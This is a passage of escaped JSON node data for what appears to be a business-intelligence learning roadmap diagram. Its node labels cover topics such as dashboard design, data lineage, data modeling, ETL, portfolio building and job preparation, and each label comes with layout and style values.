},\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Storytelling Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 219.9375 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"KXhNou5nlekbSTfLYPs_8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 3709.209891615616 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dashboard Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 187.75 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"9G-pI5NsRCq4p0FLfaMR_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 3656.209891615616 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Presentation Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 201.390625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Slg3fXGPTa-Z4sdZY86XK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 3762.2098916156156 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Writing Executive Summaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 268.0625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": true\n    },\n    {\n      \"id\": \"r-m88g8xrUnuEpV2lHJfN\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 4155.520755685555 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 243.734375 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"vDQF2oaybSewNu3EMs6zG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 4102.520755685555 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Change Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 212.5859375 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"NFKiPXrkjRre1yUZc27gl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 3996.5207556855544 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Critical Thinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 167.3671875 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"OmhvVSTtzH5sxOIZRVYfQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 3943.5207556855544 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business Acumen\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 181.890625 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"r8NoX426-ngu6ZQZe06oK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 4049.5207556855544 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 206.1640625 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"UhcniUDKmi7KNuXlolf5O\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2993530484123, \"y\": 4474.7589173235265 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Relevance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 130,\n      \"style\": { \"width\": 127.1484375 },\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"5USjYdAVJs0gSXxE1j8Xu\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -574.2993530484123, \"y\": 4474.758917323527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Timeliness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 142,\n      \"style\": { \"width\": 126.9453125 },\n      \"measured\": { \"width\": 142, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"BiyrAHB34evej_0cnDzOa\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2993530484123, \"y\": 4527.7589173235265 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Accesibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 130,\n      \"style\": { \"width\": 129.8359375 },\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"uP8MWZqM9Z0i3eDF4Ldxv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -574.2993530484123, \"y\": 4527.758917323527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interpretability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 142,\n      \"style\": { \"width\": 155.7578125 },\n      \"measured\": { \"width\": 142, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"M1H3Fh09v8udCJIPSJPic\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2993530484123, \"y\": 4580.7589173235265 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Accuracy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 130,\n      \"style\": { \"width\": 114.6328125 },\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"4U66ZrBZqg7-ckOTmxAQj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -574.2993530484123, \"y\": 4580.758917323527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coherence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 142,\n      \"style\": { \"width\": 130.8203125 },\n      \"measured\": { \"width\": 142, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"F21ypKzpziLCXkiKG1S5Z\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 4361.178004348748 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Lineage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 149.0078125 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"fuxGZx3WGjP2TzzVV29ux\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 54.62152565766574, \"y\": 4459.231718694739 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Privacy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 99.421875 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"9aNVqEyygNGeicdce5X8b\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 51.48871315766576, \"y\": 4252.349849553668 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bias Recognition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 173.828125 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Vb06K0D2vWAlSe95QJrth\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -322.27259777664165, \"y\": 4252.349849553668 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ethical Data Use\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243.734375,\n      \"style\": { \"width\": 175.9375 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"wJiKBbTMLhIzelUtKn7jl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 49.35590065766576, \"y\": 4613.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Warehouse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 249,\n      \"style\": { \"width\": 172.421875 },\n      \"measured\": { \"width\": 249, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"iqpVtvoebAaoB_Dj9-gdw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 47.45566682611786, \"y\": 4666.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Lake\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 124,\n      \"style\": { \"width\": 123.0546875 },\n      \"measured\": { \"width\": 124, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"5x4NfuP6dAgjISlB-esIW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 176.48090065766576, \"y\": 4666.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Mart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 121.875,\n      \"style\": { \"width\": 121.875 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"zGU6DyEm6xEYf1_73cbjL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 49.35590065766576, \"y\": 4719.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cloud BI Ecosystem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 249,\n      \"style\": { \"width\": 199.46875 },\n      \"measured\": { \"width\": 249, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 4667.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 187.546875 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"iYe42G31fhkAO0MBaHutF\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -706.5108790266416, \"y\": 4826.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Star vs Snowflake Schema\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 301.8203125,\n      \"style\": { \"width\": 275.203125 },\n      \"measured\": { \"width\": 302, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Prfa0LUmgxcp52IEObFom\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 4720.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Normalization vs Denormalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 301.8203125,\n      \"style\": { \"width\": 301.8203125 },\n      \"measured\": { \"width\": 302, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"hcbS18cpVxd55hVlUeLLT\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -706.5108790266416, \"y\": 4773.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fact vs Dimension Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 301.8203125,\n      \"style\": { \"width\": 239.875 },\n      \"measured\": { \"width\": 302, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"fFzCnLfZ_vSbhQjdAKLlJ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 4879.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Calculated Fields & Measures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 301.8203125,\n      \"style\": { \"width\": 278.109375 },\n      \"measured\": { \"width\": 302, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Dk31XtS7wWRzO31sdsEDo\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -706.5108790266416, \"y\": 4667.1609027935165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Modeling for BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 301.8203125,\n      \"style\": { \"width\": 203.8515625 },\n      \"measured\": { \"width\": 302, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"lAK9QVs97hL3ysjz2blp8\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 4826.777108053453 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ETL Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 249 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Du4GD-6pxbWYl4uSJRnOE\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 4879.777108053453 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ETL basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 249 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"3xDVJwdl3uu5EcjlZ1ytA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 4991.378610403396 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"End-to-end Analytics Project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 261.6015625 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"yvSf7sGEd7QiaVoetalHc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5097.378610403396 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Pipeline Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 270.3359375 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"qvPTiDbsY5ol_K-BNLmzk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5044.378610403396 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dashboard Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 265.75 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 5043.696589389636 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Building Your Portfolio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.1640625,\n      \"style\": { \"width\": 211.6171875 },\n      \"measured\": { \"width\": 246, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"tUxwKTml2Go8zR9tR3cjn\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 5172.422931614744 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Professional Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hqpFbDhAvyT9_4hcoSLhC\"\n      },\n      \"width\": 246.1640625,\n      \"style\": { \"width\": 246.1640625 },\n      \"measured\": { \"width\": 246, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"X8U-NQD0rYqFr_xgDWL2s\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 41.49006008675792, \"y\": 5172.99693843524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BI Communities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250.9921875,\n      \"style\": { \"width\": 163.96875 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"YovS5Dbcr6g_8PMr8jp5t\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 41.49006008675792, \"y\": 5278.99693843524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open-Source Projects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250.9921875,\n      \"style\": { \"width\": 212.5390625 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"aTGsJj7Ntv5BWIzjaqvu_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 41.49006008675792, \"y\": 5225.99693843524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BI Competitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250.9921875,\n      \"style\": { \"width\": 168.3046875 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"UDF8wyYT8127wfFHcq37P\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 41.49006008675792, \"y\": 5331.99693843524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conferences & Webinars\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250.9921875,\n      \"style\": { \"width\": 250.9921875 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Q98GaitxocEha4zZ9d254\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 5278.422931614744 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.1640625,\n      \"style\": { \"width\": 131.875 },\n      \"measured\": { \"width\": 246, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"m9EwcekZ_l0XHiKeQ8emr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5256.238793184379 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Resume optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 206.3203125 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"4XM5ikPiHVehEtT4AB-Ea\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5362.238793184379 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interview preparation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 208.421875 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"qsCWo1CmR4mvy7E7qlPv5\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5309.238793184379 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Portfolio presentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 209.4296875 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"k3F9Tdqo3XYgMLOKGjpxA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.2223888668458, \"y\": 5415.238793184379 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Salary negotiation strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 275,\n      \"style\": { \"width\": 263.1328125 },\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"TojDB4o0i2rs7Qcb10k1r\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 5331.422931614744 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Job Preparation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.1640625,\n      \"style\": { \"width\": 167.4375 },\n      \"measured\": { \"width\": 246, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": 